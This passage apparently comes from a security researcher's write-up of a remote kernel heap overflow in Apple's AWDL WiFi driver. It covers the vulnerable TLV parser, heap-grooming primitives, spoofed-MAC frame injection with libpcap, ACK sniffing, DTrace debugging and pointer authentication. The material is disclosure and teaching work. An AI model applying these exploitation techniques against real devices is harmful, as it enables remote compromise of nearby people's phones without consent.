overflow and use it to build an arbitrary read, then use that to help build an arbitrary bit flip primitive and so on.\n\n** \n**\n\nI've built a library of tricks and techniques like this for doing local privilege escalations on iOS but I'll have to start again from scratch for this brand new attack surface.\n\n# A brief tour of the AWDL codebase\n\nThe first two C++ classes to familiarize ourselves with are IO80211AWDLPeer and IO80211AWDLPeerManager. There's one IO80211AWDLPeer object for each AWDL peer which a device has recently received a frame from. A background timer destroys inactive IO80211AWDLPeer objects. There's a single instance of the IO80211AWDLPeerManager which is responsible for orchestrating interactions between this device and other peers.\n\n** \n**\n\nNote that although we have some function names from the iOS 12 beta 1 kernelcache and the MacOS IO80211Family driver we don't have object layout information. Brandon Azad pointed out that the MacOS prelinked kernel image does contain some structure layout information in the __CTF.__ctf section which can be parsed by the dtrace ctfdump tool. Unfortunately this seems to only contain structures from the open source XNU code.\n\n** \n**\n\nThe sizes of [OSObject-based](<https://developer.apple.com/documentation/kernel/osobject?language=objc>) [IOKit](<https://developer.apple.com/documentation/iokit>) objects can easily be determined statically but the names and types of individual fields cannot. One of the most time-consuming tasks of this whole project was the painstaking process of reverse engineering the types and meanings of a huge number of the fields in these objects. Each IO80211AWDLPeer object is almost 6KB; that's a lot of potential fields. Having structure layout information would probably have saved months.\n\n** \n**\n\nIf you're a defender building a threat model don't interpret this the wrong way: I would assume any competent real-world exploit development team has this information; either from [images or devices with full debug symbols](<https://developer.ibm.com/technologies/systems/articles/au-dwarf-debug-format/>) they have acquired with or without Apple's consent, insider access, or even just from monitoring every single firmware image ever publicly released to [check whether debug symbols were released by accident](<https://googleprojectzero.blogspot.com/2019/10/the-story-of-adobe-reader-symbols.html>). Larger groups could even have people dedicated to building custom reversing tools.\n\n** \n**\n\nSix years ago I had hoped Project Zero would be able to get legitimate access to data sources like this. Six years later and I am still spending months reversing structure layouts and naming variables.\n\n** \n**\n\nWe'll take IO80211AWDLPeerManager::actionFrameInput as the point where untrusted raw AWDL frame data starts being parsed. There is actually a separate, earlier processing layer in the WiFi chipset driver but its parsing is minimal.\n\n** \n**\n\nEach frame received while the device is listening on a social channel which was sent to the AWDL BSSID ends up at actionFrameInput, wrapped in an mbuf structure. Mbufs are an anachronistic data structure used for wrapping collections of networking buffers. [The mbuf API is the stuff of nightmares](<https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407>), but that's not in scope for this blogpost.\n\n** \n**\n\nThe mbuf buffers are concatenated to get a contiguous frame in memory for parsing, then IO80211PeerManager::findPeer is called, passing the source MAC address from the received frame:\n\n** \n**\n\n#### IO80211AWDLPeer*\n\n#### IO80211PeerManager::findPeer(struct ether_addr *peer_mac)\n\n** \n**\n\nIf an AWDL frame has recently been received from this source MAC then this function returns a pointer to an existing IO80211AWDLPeer structure representing the peer with that MAC. The IO80211AWDLPeerManager uses a fairly complicated priority queue data structure called IO80211CommandQueue to store pointers to these currently active peers.\n\n** \n**\n\nIf the peer isn't found in the IO80211AWDLPeerManager's queue of peers then a new IO80211AWDLPeer object is allocated to represent this new peer and it's inserted into the IO80211AWDLPeerManager's peers queue.\n\n** \n**\n\nOnce a suitable peer object has been found the IO80211AWDLPeerManager then calls the actionFrameReport method on the IO80211AWDLPeer so that it can handle the action frame.\n\n** \n**\n\nThis method is responsible for most of the AWDL action frame handling and contains most of the untrusted parsing. It first updates some timestamps then reads various fields from TLVs in the frame using the IO80211AWDLPeerManager::getTlvPtrForType method to extract them directly from the mbuf. After this initial parsing comes the main loop which takes each TLV in turn and parses it.\n\n** \n**\n\nFirst each TLV is passed to IO80211AWDLPeer::tlvCheckBounds. This method has a hardcoded list of specific minimum and maximum TLV lengths for some of the supported TLV types. For types not explicitly listed it enforces a maximum length of 1024 bytes. I mentioned earlier that I often encounter code constructs which look like shallow memory corruption only to later discover a bounds check far away. This is exactly that kind of construct, and is in fact where Apple added a bounds check in the patch.\n\n** \n**\n\nType 0x14 (which has the vulnerability in the parser) isn't explicitly listed in tlvCheckBounds so it gets the default upper length limit of 1024, significantly larger than the 60 byte buffer allocated for the destination buffer in the IO80211AWDLPeer structure.\n\n** \n**\n\nThis pattern of separating bounds checks away from parsing code is fragile; it's too easy to forget or not realize that when adding code for a new TLV type it's also a requirement to update the tlvCheckBounds function. If this pattern is used, try to come up with a way to enforce that new code must explicitly declare an upper bound here. One option could be to ensure an enum is used for the type and wrap the tlvCheckBounds method in a pragma to temporarily enable clang's [-Wswitch-enum](<https://clang.llvm.org/docs/DiagnosticsReference.html#wswitch-enum>) warning as an error:\n\n** \n**\n\n#### #pragma clang diagnostic push\n\n#### #pragma diagnostic error \"-Wswitch-enum\"\n\n#### \n\n#### IO80211AWDLPeer::tlvCheckBounds(...) {\n\n#### switch(tlv->type) {\n\n#### case type_a:\n\n#### ...;\n\n#### case type_b:\n\n#### ...;\n\n#### } \n}\n\n#### \n\n#### #pragma clang diagnostic pop\n\n** \n**\n\nThis causes a compilation error if the switch statement doesn't have an explicit case statement for every value of the tlv->type enum.\n\n** \n**\n\nStatic analysis tools like [Semmle](<https://semmle.com/>) can also help here. The [EnumSwitch](<https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$EnumSwitch.html>) class can be used like in [this example code](<https://help.semmle.com/wiki/display/CCPPOBJ/Missing+enum+case+in+switch>) to check whether all enum values are explicitly handled.\n\n** \n**\n\nIf the tlvCheckBounds checks pass then there is a switch statement with a case to parse each supported TLV:\n\n** \n**\n\nType\n\n| \n\nHandler \n \n---|--- \n \n0x02\n\n| \n\nIO80211AWDLPeer::processServiceResponseTLV \n \n0x04\n\n| \n\nIO80211AWDLPeer::parseAwdlSyncParamsTlvAndTakeAction \n \n0x05\n\n| \n\nIO80211AWDLPeer::parseAwdlElectionParamsV1 \n \n0x06\n\n| \n\ninline parsing of serviceParam \n \n0x07\n\n| \n\nIO80211Peer::parseHTCapTLV \n \n0x0c\n\n| \n\nnop \n \n0x10\n\n| \n\ninline parsing of ARPA \n \n0x11\n\n| \n\nIO80211Peer::parseVhtCapTLV \n \n0x12\n\n| \n\nIO80211AWDLPeer::parseAwdlChanSeqFromChanSeqTLV \n \n0x14\n\n| \n\nIO80211AWDLPeer::parseAwdlSyncTreeTLV \n \n0x15\n\n| \n\ninline parser extracting 2 bytes \n \n0x16\n\n| \n\nIO80211AWDLPeer::parseBloomFilterTlv \n \n0x17\n\n| \n\ninlined parser of NSync \n \n0x1d\n\n| \n\nIO80211AWDLPeer::parseBssSteeringTlv \n \n# SyncTree vulnerability in context\n\nHere's a cleaned up decompilation of the relevant portions of the parseAwdlSyncTreeTLV method which contains the vulnerability:\n\n** \n**\n\n#### int\n\n#### IO80211AWDLPeer::parseAwdlSyncTreeTLV(awdl_tlv* tlv)\n\n#### {\n\n#### u64 new_sync_tree_size;\n\n#### \n\n#### u32 old_sync_tree_size = this->n_sync_tree_macs + 1;\n\n#### if (old_sync_tree_size >= 10 ) {\n\n#### old_sync_tree_size = 10;\n\n#### }\n\n#### \n\n#### if (old_sync_tree_size == tlv->len/6 ) {\n\n#### new_sync_tree_size = old_sync_tree_size;\n\n#### } else {\n\n#### new_sync_tree_size = tlv->len/6;\n\n#### this->n_sync_tree_macs = new_sync_tree_size;\n\n#### }\n\n#### \n\n#### memcpy(this->sync_tree_macs, &tlv->val[0], 6 * new_sync_tree_size);\n\n#### \n\n#### ...\n\n** \n**\n\nsync_tree_macs is a 60-byte inline array in the IO80211AWDLPeer structure, at offset +0x1648. That's enough space to store 10 MAC addresses. The IO80211AWDLPeer object is 0x16a8 bytes in size which means it will be allocated in the kalloc.6144 zone.\n\n** \n**\n\ntlvCheckBounds will enforce a maximum value of 1024 for the length of the SyncTree TLV. The TLV parser will round that value down to the nearest multiple of 6 and copy that number of bytes into the sync_tree_macs array at +0x1648. This will be our memory corruption primitive: a linear heap buffer overflow in 6-byte chunks which can corrupt all the fields in the IO80211AWDLPeer object past +0x16a8 and then a few hundred bytes off of the end of the kalloc.6144 zone chunk. We can easily cause IO80211AWDLPeer objects to be allocated next to each other by sending AWDL frames from a large number of different spoofed source MAC addresses in quick succession. This gives us four rough primitives to think about as we start to find a path to exploitation:\n\n** \n**\n\n1) Corrupting fields after the sync_tree_macs array in the IO80211AWDLPeer object:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix1i9CNMZtPIS0vBqf96xEh8aYN5AlAJJx5kwF5JOehYAvTs6h-EPyc26y2EUBZfoeAtG8VOeisXC0RNCRwIkb4WrJQVoeYOKwC7MBdZzmtvTSYd37AHW1mP_Lqvobv1fFjbmLI_pIf2zFhWOxsklcnQETCETWljN0ja-IdjZbIJsex2P4wBhIy9mn/s624/image7%285%29.png>)\n\n### Overflowing into the fields at the end of the peer object\n\n** \n**\n\n2) Corrupting the lower fields of an IO80211AWDLPeer object groomed next to this one:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiMgX0uLxEj2gD-plrvDFqG0dI6GRpnWuAtw5_ZXKvmOvctYZIHCsvCvys6CaEqDi1DyXTpF3Qsuoysgoe1lRaxRc_cU9wLBhGPHyWi295SXqxzPay8IViUzOLtvUo64HxfKw8A0qkDQWQO_3V0KIXv31OxnqftZ3TIdTYCse49eppNvVi3J9F9AGr/s624/image11%283%29.png>)\n\n### Overflowing into the fields at the start of a peer object next to this one\n\n** \n**\n\n3) Corrupting the lower bytes of another object type we can groom to follow a peer in kalloc.6144:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN4x-AYhcRKzG1YMZqqmxf1XxKLdk0JNSCfWycjk49XnGUHrKo3ebZpf8VTsFU2XJu11IxI2Su_tpYAbgonJJdYnPsoeYWIudSWv7U3wcQXNYRK348QWsu6QG5CKTPjIq0Q5Ll5XQkEUCeC9nEU2XlJGSCNqgt1OlsJX0x45OgCeG6ozZhpYyfD622/s624/image30.png>)\n\n### Overflowing into a different type of object next to this peer in the same zone\n\n** \n**\n\n4) Meta-grooming the zone allocator to place a peer object at a zone boundary so we can corrupt the early bytes of an object from another zone:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYXMHg1nrQrMMPNFsOfAQDgkfi-Wmyx7PC27aVqIusw4TjjhT6tX_MdTVexFh1Jt3XkGYZVGWevRgGw56koLbnGXfXxeK1GLJzT7beA_9KlJKtG50LXNyAicCFsYCo14SPCT7fyrapDZIZl-Oxg44wuo4RPiLQybs0FxzR_-BRoB5T82cdUzO_I9jk/s624/image31.png>)\n\n### Overflowing into a different type of object in a different zone\n\n** \n**\n\nWe'll revisit these options in greater detail soon.\n\n# Getting on the air\n\nAt this point we understand enough about the AWDL frame format to start trying to get controlled, arbitrary data going over the air and reach the frame parsing entrypoint.\n\n** \n**\n\nI tried for a long time to get the open source academic OWL project to build and run successfully, sadly without success. In order to start making progress I decided to write my own AWDL client from scratch. Another approach could have been to write a MacOS kernel module to interact with the existing AWDL driver, which may have simplified some aspects of the exploit but also made others much harder.\n\n** \n**\n\nI started off using an old [Netgear WG111v2](<https://www.netgear.com/support/product/WG111v2.aspx>) WiFi adapter I've had for many years which I knew could do [monitor mode](<https://en.wikipedia.org/wiki/Monitor_mode>) and [frame injection](<https://en.wikipedia.org/wiki/Packet_injection>), albeit only on 2.4 Ghz channels. It uses an [rtl8187](<https://www.aircrack-ng.org/doku.php?id=r8187>) chipset. Since I wanted to use the linux drivers for these adapters I bought a [Raspberry Pi 4B](<https://www.raspberrypi.org/products/raspberry-pi-4-model-b/>) to run the exploit.\n\n** \n**\n\nIn the past I've used [Scapy](<https://scapy.net/>) for crafting network packets from scratch. Scapy can [craft and inject arbitrary 802.11 frames](<https://scapy.readthedocs.io/en/latest/api/scapy.layers.dot11.html>), but since we're going to need a lot of control over injection timing it might not be the best tool. Scapy uses [libpcap](<https://www.tcpdump.org/>) to interact with the hardware to inject raw frames so I took a look at libpcap. Some googling later I found [this excellent tutorial example](<https://gist.github.com/jonhoo/7780260>) which demonstrates exactly how to use libpcap to inject a raw 802.11 frame. Let dissect exactly what's required:\n\n# Radiotap\n\nWe've seen the structure of the data in 802.11 AWDL frames; there will be an ieee80211 header at the start, an Apple OUI, then the AWDL action frame header and so on. If our WiFi adaptor were connected to a WiFi network, this might be enough information to transmit such a frame. The problem is that we're not connected to any network. This means we need to attach some metadata to our frame to tell the WiFi adaptor exactly how it should get this frame on to the air. For example, what channel and with what bandwidth and modulation scheme should it use to inject the frame? Should it attempt re-transmits until an ACK is received? What signal strength should it use to inject the frame?\n\n** \n**\n\n[Radiotap](<https://www.radiotap.org/>) is a standard for expressing exactly this type of frame metadata, both when injecting frames and receiving them. It's a slightly fiddly variable-sized header which you can prepend on the front of a frame to be injected (or read off the start of a frame which you've sniffed.)\n\n** \n**\n\nWhether the radiotap fields you specify are actually respected and used depends on the driver you are using - a driver may choose to simply not allow userspace to specify many aspects of injected frames. Here's an example radiotap header captured from a AWDL frame using the built-in MacOS packet sniffer on a MacBook Pro. Wireshark has parsed the binary radiotap format for us:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgruKFW8teeHFK850aD0YQKJltmkRoz0SBRMBjNq2hIfQ3miT0lDuyPHExOyC-dlB4iaJ3wxgBkVjfX7-CgUy1Xsq213DGbFTzzeCECEVu_lHOC5tSUM5jezyfeWz54yOt2XGY6a_T7NVQ1j1ac2l8K9zGOFNG8_2hzpUCPTOmHv2BKGwIbpIqiWFHt/s1476/image29.png>)\n\n### Wireshark parses radiotap headers in pcaps and shows them in a human-readable form\n\n** \n**\n\nFrom this radiotap header we can see a timestamp, the data rate used for transmission, the channel (5.220 GHz which is channel 44) and the modulation scheme ([OFDM](<https://en.wikipedia.org/wiki/Orthogonal_frequency-division_multiplexing>)). We can also see an indication of the strength of the received signal and a measure of the noise.\n\n** \n**\n\nThe [tutorial gave the following radiotap header](<https://gist.github.com/jonhoo/7780260>):\n\n** \n**\n\n#### static uint8_t u8aRadiotapHeader[] = {\n\n#### 0x00, 0x00, // version\n\n#### 0x18, 0x00, // size\n\n#### 0x0f, 0x80, 0x00, 0x00, // included fields\n\n#### 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //timestamp\n\n#### 0x10, // add FCS\n\n#### 0x00,// rate\n\n#### 0x00, 0x00, 0x00, 0x00, // channel\n\n#### 0x08, 0x00, // NOACK; don't retry\n\n#### };\n\n** \n**\n\nWith knowledge of radiotap and a basic header it's not too tricky to get an AWDL frame on to the air using the [pcap_inject](<https://linux.die.net/man/3/pcap_inject>) interface and a wireless adaptor in monitor mode:\n\n** \n**\n\n#### int pcap_inject(pcap_t *p, const void *buf, size_t size)\n\n** \n**\n\nOf course, this doesn't immediately work and with some trial and error it seems that the rate and channel fields aren't being respected. Injection with this adaptor seems to only work at 1Mbps, and the channel specified in the radiotap header won't be the one used for injection. This isn't such a problem as we can still easily set the wifi adaptor channel manually:\n\n** \n**\n\n#### iw dev wlan0 set channel 6\n\n** \n**\n\nInjection at 1Mbps is exceptionally slow but this is enough to get a test AWDL frame on to the air and we can see it in Wireshark on another device in monitor mode. But nothing seems to be happening on a target device. Time for some debugging!\n\n# Debugging with DTrace\n\n[The SEEMOO labs paper](<https://arxiv.org/pdf/1808.03156.pdf>) had already suggested setting some MacOS boot arguments to enable more verbose logging from the AWDL kernel driver. These log messages were incredibly helpful but often you want more information than you can get from the logs.\n\n** \n**\n\nFor the [initial report PoC](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1982>) I showed how to use the MacOS kernel debugger to modify an AWDL frame which was about to be transmitted. Typically, in my experience, the MacOS kernel debugger is exceptionally unwieldy and unreliable. Whilst you can [technically script it using lldb's python bindings](<https://blog.quarkslab.com/an-overview-of-macos-kernel-debugging.html>), I wouldn't recommend it.\n\n** \n**\n\nApple does have one trick up their sleeve however; [DTrace](<http://dtrace.org/blogs/about/>)! Where the MacOS kernel debugger is awful in my opinion, dtrace is exceptional. DTrace is a dynamic tracing framework originally developed by Sun Microsystems for Solaris. It's been ported to many platforms including MacOS and ships by default. It's the magic behind tools such as [Instruments](<https://en.wikipedia.org/wiki/Instruments_\\(software\\)>). DTrace allows you to hook in little snippets of tracing code almost wherever you want, both in userspace programs, and, amazingly, the kernel. Dtrace has its quirks. Hooks are written in the D language which doesn't have loops and the scoping of variables takes a little while to get your head around, but it's the ultimate debugging and reversing tool.\n\n** \n**\n\nFor example, I used this dtrace script on MacOS to log whenever a new IO80211AWDLPeer object was allocated, printing it's heap address and MAC address:\n\n** \n**\n\n#### self char* mac;\n\n#### \n\n#### fbt:com.apple.iokit.IO80211Family:_ZN15IO80211AWDLPeer21withAddressAndManagerEPKhP22IO80211AWDLPeerManager:entry {\n\n#### self->mac = (char*)arg0;\n\n#### }\n\n#### \n\n#### fbt:com.apple.iokit.IO80211Family:_ZN15IO80211AWDLPeer21withAddressAndManagerEPKhP22IO80211AWDLPeerManager:return\n\n#### printf(\"new AWDL peer: %02x:%02x:%02x:%02x:%02x:%02x allocation:%p\", self->mac[0], self->mac[1], self->mac[2], self->mac[3], self->mac[4], self->mac[5], arg1); \n\n#### }\n\n** \n**\n\nHere we're creating two hooks, one which runs at a function entry point and the other which runs just before that same function returns. We can use the self-> syntax to pass variables between the entry point and return point and DTrace makes sure that the entries and returns match up properly.\n\n** \n**\n\nWe have to use the mangled C++ symbol in dtrace scripts; using c++filt we can see the demangled version:\n\n** \n**\n\n#### $ c++filt -n _ZN15IO80211AWDLPeer21withAddressAndManagerEPKhP22IO80211AWDLPeerManager\n\n#### IO80211AWDLPeer::withAddressAndManager(unsigned char const*, IO80211AWDLPeerManager*)\n\n** \n**\n\nThe entry hook \"saves\" the pointer to the MAC address which is passed as the first argument; associating it with the current thread and stack frame. The return hook then prints out that MAC address along with the return value of the function (arg1 in a return hook is the function's return value) which in this case is the address of the newly-allocated IO80211AWDLPeer object.\n\n** \n**\n\nWith DTrace you can easily prototype custom heap logging tools. For example if you're targeting a particular allocation size and wish to know what other objects are ending up in there you could use something like the following DTrace script:\n\n** \n**\n\n#### /* some globals with values */\n\n#### BEGIN {\n\n#### target_size_min = 97;\n\n#### target_size_max = 128;\n\n#### }\n\n#### \n\n#### fbt:mach_kernel:kalloc_canblock:entry {\n\n#### self->size = *(uint64_t*)arg0;\n\n#### }\n\n#### \n\n#### fbt:mach_kernel:kalloc_canblock:return\n\n#### /self->size >= target_size_min ||\n\n#### self->size <= target_size_max /\n\n#### {\n\n#### printf(\"target allocation %x = %x\", self->size, arg1);\n\n#### stack();\n\n#### }\n\n** \n**\n\nThe expression between the two /'s allows the hook to be conditionally executed. In this case limiting it to cases where kalloc_canblock has been called with a size between target_size_min and target_size_max. The built-in stack() function will print a stack trace, giving you some insight into the allocations within a particular size range. You could also use ustack() to continue that stack trace in userspace if this kernel allocation happened due to a syscall for example.\n\n** \n**\n\nDTrace can also safely dereference invalid addresses without kernel panicking, making it very useful for prototyping and debugging heap grooms. With some ingenuity it's also possible to do things like dump linked-lists and monitor for the destruction of particular objects.\n\n** \n**\n\nI'd really recommend spending some time learning DTrace; once you get your head around its esoteric programming model you'll find it an immensely powerful tool.\n\n# Reaching the entrypoint\n\nUsing DTrace to log stack frames I was able to trace the path legitimate AWDL frames took through the code and determine how far my fake AWDL frames made it. Through this process I discovered that there are, at least on MacOS, two AWDL parsers in the kernel: the main one we've already seen inside the IO80211Family kext and a second, much simpler one in the driver for the particular chipset being used. There were three checks in this simpler parser which I was failing, each of which meant my fake AWDL frames never made it to the IO80211Family code:\n\n** \n**\n\nFirstly, the source MAC address was being validated. MAC addresses actually contain multiple fields: \n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgssUz3IjhTC219TANYNPxCcCrvetZX8o6Bz870x6-oUGLKCQHLGbN3GvahrG4m2SACBqMw634ZkN8Y43j7S-Fo8zdtP3J_LSJLHYs8zqxkajVjmj1D6hWUKtBtWQN2Cs1sTXqYDUTgBl_rGe9D3NlJSDw6CVg3ZuRe1cs1PIl8w0qRFtJZo124lTce/s1999/image6%289%29.png>)\n\n### The first half of a MAC address is an OUI. The least significant bit of the first byte defines whether the address is multicast or unicast. The second bit defines whether the address is locally administered or globally unique. \n\n** \n**\n\n### Diagram used under [CC BY-SA 2.5](<https://creativecommons.org/licenses/by-sa/2.5/>) By Inductiveload, modified/corrected by Kju - SVG drawing based on PNG uploaded by User:Vtraveller. This can be found on Wikipedia [here](<https://commons.wikimedia.org/w/index.php?curid=1852032>)\n\n** \n**\n\nThe source MAC address 01:23:45:67:89:ab from the libpcap example was an unfortunate choice as it has the multicast bit set. AWDL only wants to deal with unicast addresses and rejects frames from multicast addresses. Choosing a new MAC address to spoof without that bit set solved this problem.\n\n** \n**\n\nThe next check was that the first two TLVs in the variable-length payload section of the frame must be a type 4 (sync parameters) then a type 6 (service parameters.)\n\n** \n**\n\nFinally the channel number in the sync parameters had to match the channel on which the frame had actually been received.\n\n** \n**\n\nWith those three issues fixed I was finally able to get arbitrary controlled bytes to appear at the actionFrameReport method on a remote device and the next stage of the project could begin.\n\n# A framework for an AWDL client\n\nWe've seen that AWDL uses time division multiplexing to quickly switch between the channels used for AWDL (typically 6 and 44) and the channel used by the access point the device is connected to. By parsing the AWDL synchronization parameters TLV in the PSF and MIF frames sent by AWDL peers you can calculate when they will be listening in the future. The OWL project uses the linux [libev](<http://software.schmorp.de/pkg/libev.html>) library to try to only transmit at the right moment when other peers will be listening.\n\n** \n**\n\nThere are a few problems with this approach for our purposes:\n\n** \n**\n\nFirstly, and very importantly, this makes targeting difficult. AWDL action frames are (usually) sent to a broadcast destination MAC address (ff:ff:ff:ff:ff:ff.) It's a mesh network and these frames are meant to be used by all the peers for building up the mesh.\n\n** \n**\n\nWhilst exploiting every listening AWDL device in proximity at the same time would be an interesting research problem and make for a cool demo video, it also presents many challenges far outside the initial scope. I really needed a way to ensure that only devices I controlled would process the AWDL frames I sent.\n\n** \n**\n\nWith some experimentation it turned out that all AWDL frames can also be sent to unicast addresses and devices would still parse them. This presents another challenge as the AWDL virtual interface's MAC address is randomly generated each time the interface is activated. For testing on MacOS it suffices to run:\n\n** \n**\n\n#### ifconfig awdl0\n\n** \n**\n\nto determine the current MAC address. For iOS it's a little more involved; my chosen technique has been to sniff on the AWDL social channels and correlate signal strength with movements of the device to determine its current AWDL MAC.\n\n** \n**\n\nThere's one other important difference when you send an AWDL action frame to a unicast address: if the device is currently listening on that channel and receives the frame, it will send an [ACK](<https://stackoverflow.com/questions/37040303/why-do-802-11-acknowledgement-frames-have-no-source-mac>). This turns out to be extremely helpful. We will end up building some quite complex primitives using AWDL action frames, abusing the protocol to build a weird machine. Being able to tell whether a target device really received a frame or not means we can treat AWDL frames more like a reliable transport medium. For the typical usage of AWDL this isn't necessary; but our usage of AWDL is not going to be typical.\n\n** \n**\n\nThis ACK-sniffing model will be the building block for our AWDL frame injection API.\n\n# Acktually receiving ACKs\n\nJust because the ACKs are coming over the air now doesn't mean we actually see them. Although the WiFi adaptor we're using for injection must be technically capable of receiving ACKs (as they are a fundamental protocol building block), being able to see them on the monitor interface isn't guaranteed.\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgph0LmgKxPBYM3PPSR3AX85xVtiwZjggar7fxkIKuxbmlDYKVrsKmWmaEyq8uCePEQ7F6mcmB0pXxPeW4JGIEiGaZTfM0iuH9EOsGd5iYYFFadPnexo7vpwctzIe4hvEJK8PxB_DXOt_sjmtjiCclRDIGXHX_v2SD1eOFt1GiMhUvHFqNdqDgCb-uI/s1999/image20%281%29.png>)\n\n### A screenshot of wireshark showing a spoofed AWDL frame followed by an Acknowledgement from the target device.\n\n** \n**\n\nThe libpcap interface is quite generic and doesn't have any way to indicate that a frame was ACKed or not. It might not even be the case that the kernel driver is aware whether an ACK was received. I didn't really want to delve into the injection interface kernel drivers or firmware as that was liable to be a major investment in itself so I tried some other ideas.\n\n** \n**\n\nACK frames in 802.11g and 802.11a are timing based. There's a short window after each transmitted frame when the receiver can ACK if they received the frame. It's for this reason that ACK frames don't contain a source MAC address. It's not necessary as the ACK is already perfectly correlated with a source device due to the timing.\n\n** \n**\n\nIf we also listen on our injection interface in monitor mode we might be able to receive the ACK frames ourself and correlate them. As mentioned, not all chipsets and drivers actually give you all the management frames.\n\nFor my early prototypes, I managed to find a pair in my box of WiFi adaptors where one would successfully inject on 2.4ghz channels at 1Mbps and the other would successfully sniff ACKs on that channel at 1Mbps.\n\n** \n**\n\n1Mbps is exceptionally slow; a relatively large AWDL frame ends up being on the air for 10ms or more at that speed, so if your availability window is only a few ms you're not going to get many frames per second. Still, this was enough to get going.\n\n** \n**\n\nThe injection framework I built for the exploit uses two threads, one for frame injection and one for ACK sniffing. Frames are injected using the try_inject function, which extracts the spoofed source MAC address and signals to the second sniffing thread to start looking for an ACK frame being sent to that MAC.\n\n** \n**\n\nUsing a [pthread condition variable](<https://pubs.opengroup.org/onlinepubs/009695399/functions/pthread_cond_timedwait.html>), the injecting thread can then wait for a limited amount of time during which the sniffing thread may or may not see the ACK. If the sniffing thread does see the ACK it can record this fact then signal the condition variable. The injection thread will stop waiting and can check whether the ACK was received.\n\n** \n**\n\nTake a look at try_inject_internal in the exploit for the mutex and condition variable setup code for this.\n\n** \n**\n\nThere's a wrapper around try_inject called inject which repeatedly calls try_inject until it succeeds. These two methods allow us to do all the timing sensitive and insensitive frame injection we need.\n\n** \n**\n\nThese two methods take a variable number of pkt_buf_t pointers; a simple custom variable-sized buffer wrapper object. The advantage of this approach is that it allows us to quickly prototype new AWDL frame structures without having to write boilerplate code. For example, this is all the code required to inject a basic AWDL frame and re-transmit it until the target receives it:\n\n** \n**\n\n#### inject(RT(),\n\n#### WIFI(dst, src),\n\n#### AWDL(),\n\n#### SYNC_PARAMS(),\n\n#### SERV_PARAM(),\n\n#### PKT_END());\n\n** \n**\n\nInvesting a little bit of time building this API saved a lot of time in the long run and made it very easy to experiment with new ideas.\n\n** \n**\n\nWith an injection framework finally up and running we can start to think about how to actually exploit this vulnerability!\n\n# The new challenges on A12/A13\n\nThe Apple A12 SOC found in the iPhone Xr/Xs contained the first commercially-available ARM CPU implementing the [ARM-8.3](<https://community.arm.com/developer/ip-products/processors/b/processors-ip-blog/posts/armv8-a-architecture-2016-additions>) optional Pointer Authentication feature. This was released in September 2018. [This post from Project Zero researcher Brandon Azad](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>) covers PAC and its implementation by Apple in great detail, as does [this presentation from the 2019 LLVM developers meeting](<https://llvm.org/devmtg/2019-10/slides/McCall-Bougacha-arm64e.pdf>).\n\n** \n**\n\nIts primary use is as a form of Control Flow Integrity. In theory all function pointers present in memory should contain a Pointer Authentication Code in their upper bits which will be verified after the pointer is loaded from memory but before it's used to modify control flow.\n\n** \n**\n\nIn almost all cases this PAC instrumentation will be added by the compiler. There's [a really great document from the clang team](<https://github.com/apple/llvm-project/blob/apple/master/clang/docs/PointerAuthentication.rst>) which goes into great detail about the implementation of PAC from a compiler point of view and the security tradeoffs involved. It has a brilliant section on the threat model of PAC which frankly and honestly discusses the cases where PAC may help and the cases where it won't. Documentation like this should ship with every mitigation.\n\n** \n**\n\nHaving a publicly documented threat model helps everyone understand the intentions behind design decisions and the tradeoffs which were necessary. It helps build a common vocabulary and helps to move discussions about mitigations away from a focus on security through obscurity towards a qualitative appraisal of their strengths and weaknesses.\n\n** \n**\n\nConcretely, the first hurdle PAC will throw up is that it will make it harder to forge vtable pointers.\n\n** \n**\n\nAll OSObject-derived objects have virtual methods. IO80211AWDLPeer, like almost all IOKit C++ classes derives from OSObject so the first field is a vtable pointer. As we saw in the heap-grooming sketches earlier, by spraying IO80211AWDLPeer objects then triggering the heap overflow we can easily gain control of a vtable pointer. This technique was used in [Mateusz Jurczyk](<https://twitter.com/j00ru>)'s [Samsung MMS remote exploit](<https://googleprojectzero.blogspot.com/2020/07/mms-exploit-part-3-constructing-primitives.html>) and [Natalie Silvanovich](<https://twitter.com/natashenka>)'s [remote WebRTC exploit](<https://googleprojectzero.blogspot.com/2020/08/exploiting-android-messengers-part-2.html>) this year.\n\n** \n**\n\nKernel virtual calls have gone from looking like this on A11 and below:\n\n** \n**\n\n#### LDR X8, [X20] ; load vtable pointer\n\n#### LDR X8, [X8,#0x38] ; load function pointer from vtable\n\n#### MOV X0, X20\n\n#### BLR X8 ; call virtual function\n\n** \n**\n\nto this on A12 and above:\n\n** \n**\n\n#### LDR X8, [X20] ; load vtable pointer\n\n#### \n\n#### ; authenticate vtable pointer using A-family data key and zero context\n\n#### ; if authentication passes, add 0x38 to vtable pointer, load value\n\n#### ; at that address into X9 and store X8+0x38 back to X8 without a PAC\n\n#### LDRAA X9, [X8,#0x38]!\n\n#### \n\n#### ; overwrite the upper 16 bits of X8 with the constant 0xFFFC\n\n#### ; this is a hash of the mangled symbol; constant at each callsite\n\n#### MOVK X8, #0xFFFC,LSL#48\n\n#### MOV X0, X20\n\n#### \n\n#### ; authenticate virtual function pointer with A-family instruction key\n\n#### ; and context value where the upper 16 bits are a hash of the\n\n#### ; virtual function prototype and the lower 48 bits are the runtime\n\n#### ; address of the virtual function pointer in the vtable\n\n#### BLRAA X9, X8\n\n** 